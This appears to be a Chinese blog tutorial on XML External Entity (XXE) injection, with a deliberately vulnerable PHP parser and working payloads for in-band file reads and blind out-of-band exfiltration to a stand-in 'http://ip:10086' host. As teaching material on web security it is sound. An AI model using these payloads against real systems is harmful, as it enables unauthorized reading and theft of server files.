XXE基础

作者: const27 分类: All,XXE 发布时间: 2020-06-07 13:34

—XML External Entity
XML外部实体注入攻击

参考链接: https://xz.aliyun.com/t/3357#toc-5

DTD

dtd即文档类型定义,用于定义XML文档构建模块

DTD声明

DTD声明有两种,一种是内部DOCTYPE声明,一种是外部声明

DTD内部DOCTYPE声明

<!DOCTYPE 根元素 [元素声明]>

DTD外部声明

<!DOCTYPE 根元素 SYSTEM “文件名/URI”>
此处文件名可以是同一主机上的文件,也可以是通过URI得到的资源

构建模块

XML文档包含的构建模块如下:

  • 元素
  • 属性
  • 实体
  • PCDATA
  • CDATA

元素

元素是xml和html中的主要构建模块.如html里的body,table等
实例

<body>body text in between</body>
<message>some message in between</message>
声明元素:
<!ELEMENT element-name category>
或
<!ELEMENT element-name (element-content)>

属性

属性用于给元素提供额外的信息,实例:

<img src="computer.gif" />
元素声明
<!ATTLIST element-name attribute-name attribute-type attribute-value>

实体

定义普通文本中的变量.调用时使用 &变量名;

实体声明:
内部声明<!ENTITY entity-name "entity-value">
外部声明<!ENTITY entity-name SYSTEM "URI/URL">
实体分为两种,通用实体和参数实体
通用实体:在DTD定义,xml文档使用,用&实体名;引用

参数实体:在DTD定义且仅能在DTD里使用,定义: % 实体名(中间有个空格),调用% 实体名(中间无空格)
参数实体的声明<!ENTITY % 参数实体名 "value"> 
参数实体的调用 % 参数实体名;

CDATA

意思是其文本会被当作纯文本处理

<msg>
<![CDATA[
<a>abc</a>
&lt;
]]>
</msg>
凡是在<![CDATA[ ]] 里的数据不会被解析,被当作纯文本.比如&lt;就不会被解析为<
CDATA也可以通过属性来声明,让属性的值被当作纯文本处理
 如<!ATTLIST author period CDATA> 

PCDATA

与CDATA相反, PCDATA可以是字符串、子元素、字符串和子元素.也就是不会被当作纯文本处理而是会被解析

声明: <!ELEMENT element-name (#PCDATA)>

XXE

xml注入

xml注入可以当作XXE的威力缩小版,xml注入在真实环境中是很鸡肋的

既然能插入XML代码,我们肯定就会想办法插入更多的XML代码,于是XXE–XML外部实体注入诞生了

外部实体与XXE

既然xml文档可以引用外部实体,那么我们恶意的把这个外部实体修改为系统上的敏感文件,并在xml引用该外部实体,那么就可以拿到敏感数据了 如

<!ENTITY goodies SYSTEM "file:///c:/windows/system.ini">

有回显读本地敏感文件(Normal XXE)

假设此处我们有一个可以回显出XML文档内容的PHP文件

XML.php
<?php
    error_reporting(0);
    libxml_disable_entity_loader (false); //设置为可以加载xml
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); //加载一个xml字符串,LIBXML_NOENT代表允许解析xml实体,LIBXML_DTDLOAD代表允许加载DOCTYPE中的DTD文件
    $creds = simplexml_import_dom($dom); //把DOM节点转换为SimpleXMLElement 对象,以便输出.
    echo $creds; 

?>

我们我获取的敏感文件 a.txt

我们的payload初稿

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [  
<!ENTITY goodies SYSTEM "file:///d:/phpStudy/WWW/a.txt"> ]> 
<creds>&goodies;</creds>

我们的初稿发包过去,是不能得到a.txt里的信息的,因为a.txt里有<字符,其被当作实体解析后,一个<字符会出现在XML文档中,会报错

所以我们要用到<![CDATA[ ]]来帮助我们得到敏感信息,因为它会把内容当作纯文本来处理,不会做解析

payload二稿

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA">
<!ENTITY % file SYSTEM "file:///d:/phpStudy/WWW/a.txt">
<!ENTITY % end "]]>">
<!ENTITY all "%start;%file;%end;">  //错因
]> 

报错 PEReferences(Parameter-entity) forbidden in internal subset in Entity ,这个报错的原因是DTD内部子集中,参数实体不能引用在在声明的值里,而在外部DTD是可以引用在声明的值里的

payload三稿

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % start "<![CDATA[">   
<!ENTITY % goodies SYSTEM "file:///d:/phpStudy/WWW/a.txt">  
<!ENTITY % end "]]>">  
<!ENTITY % dtd SYSTEM "http://ip/evil.dtd"> 
%dtd; ]> 
<roottag>&all;</roottag>

evil.dtd
<!ENTITY all "%start;%goodies;%end;">

结果

成功读取到a.txt

无回显读取本地敏感文件(Blind OOB XXE)

如果我们假设的PHP文件里不会吧DOM里的内容给echo出来,造成无回显的情况,我们该如何获取敏感文件呢,答案是利用 外带

XML.php
<?php

libxml_disable_entity_loader (false);
$xmlfile = file_get_contents('php://input');
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
?>

payload
<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE roottag [
<!ENTITY % remote SYSTEM "http://ip/evil.dtd">
%remote;%int;%send;
]>

test.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///d:/phpStudy/WWW/a.txt">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://ip:10086?p=%file;'>">
//&#37;是%的字符实体,因为声明中不允许直接出现%

整个流程大概就是 ,在指定ip上的主机监听10086端口,然后发送payload,受害网站先%remote;把test.dtd上的信息解析出来。然后调用%int;,调用时%file;会被成功解析,最后调用%send;在访问http://ip:10086?p=%file;时把%file解析后发包过去,从而在服务器上留下记录

发包

看服务器

解码即可得到内容

引用本地DTD(2020.08.19)

请见http://www.const27.com/2020/08/19/xxe%e5%bc%95%e7%94%a8%e6%9c%ac%e5%9c%b0dtd%e4%b8%8egooglectf2019-qualsbnv/

如果觉得我的文章对您有用,请随意打赏。您的支持将鼓励我继续创作!

Leave a Reply

Your email address will not be published. Required fields are marked *

标签云